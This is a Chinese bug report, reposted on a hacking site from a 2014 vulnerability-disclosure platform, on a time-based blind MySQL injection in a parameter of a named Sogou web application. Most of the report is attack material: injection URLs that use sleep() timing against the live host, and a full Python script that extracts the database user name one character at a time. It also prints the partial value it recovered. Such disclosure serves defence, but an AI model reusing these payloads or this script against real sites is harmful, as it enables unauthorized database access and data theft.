记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

搜狗SQL注入3: ie.sogou.com上的MySQL注射

2014-10-19 06:05

注入点:

http://ie.sogou.com/app/?default&api=12&cid=if(0,sleep(0),140)&p=1&route=tools/main/cate_recommend

参数cid未过滤,可注入。



测试:

http://ie.sogou.com/app/?default&api=12&cid=if(length(user())=1,sleep(1),0)&p=1&route=tools/main/cate_recommend

不延迟

http://ie.sogou.com/app/?default&api=12&cid=if(length(user())!=1,sleep(1),0)&p=1&route=tools/main/cate_recommend 延迟

可以判断注入存在。

http://ie.sogou.com/app/?default&api=12&cid=if(length(user())=21,sleep(1),0)&p=1&route=tools/main/cate_recommend 延时

可以判断当前user()长度为21,如图,后端timeout:

sogou_3.png



猜解时乱写的几行python脚本:

code 区域
import httplib

import time

import string

import sys

import random

import urllib



headers = {

'Cookie': '',

'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',

}



payloads = list(string.ascii_lowercase)

payloads += list(string.ascii_uppercase)

for i in range(0,10):

payloads.append(str(i))

payloads += ['@','_', '.']



print 'Current user() is:'

user = ''

for i in range(1,22,1):

for payload in payloads:

# must wait until service is available

wait_tip = ''

while True:

try:

wait_tip = wait_tip + '.'

sys.stdout.write( wait_tip + '\r' )

sys.stdout.flush()

conn = httplib.HTTPConnection('ie.sogou.com', timeout=5)

conn.request(method='GET', url='/app/?default&api=12&cid=0&p=1&route=tools/main/cate_recommend')

start_time = time.time()

conn.getresponse()

conn.close()

if time.time() - start_time < 5:

break # sevice available now

except Exception, e:

pass

try:

conn = httplib.HTTPConnection('ie.sogou.com', timeout=20)

rand_num = str(random.random())

url = '/app/?default&api=12&cid=if(ascii(mid(user(),%s,1))=%s,sleep(1),0)&p=1&route=tools/main/cate_recommend' % (i, ord(payload))

conn.request(method='GET', url=url,

headers = headers)

html_doc = conn.getresponse().read()

conn.close()

except:

user += payload

print 'Now user() is [' + user + '], wait until site recover from last query.'

break



print 'finally, user() is', user





漏洞证明:

测试发现前一次sleep对后续的查询有影响,疑似数据库锁住。需要等待数据库重新苏醒。

脚本每次只取一个字符,等站点恢复可访问,才继续猜解下一个字符。

猜解得到的user()值: setoola@10.*

后端数据库不稳定,只猜到10,后面的字符未猜解。

代码胡乱写的,见谅,仅作个证明。

修复方案:

参数过滤

知识来源: www.wooyun.org/bugs/wooyun-2014-079385

阅读:105985 | 评论:0 | 标签:注入

想收藏或者和大家分享这篇好文章→复制链接地址

“搜狗SQL注入3: ie.sogou.com上的MySQL注射”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云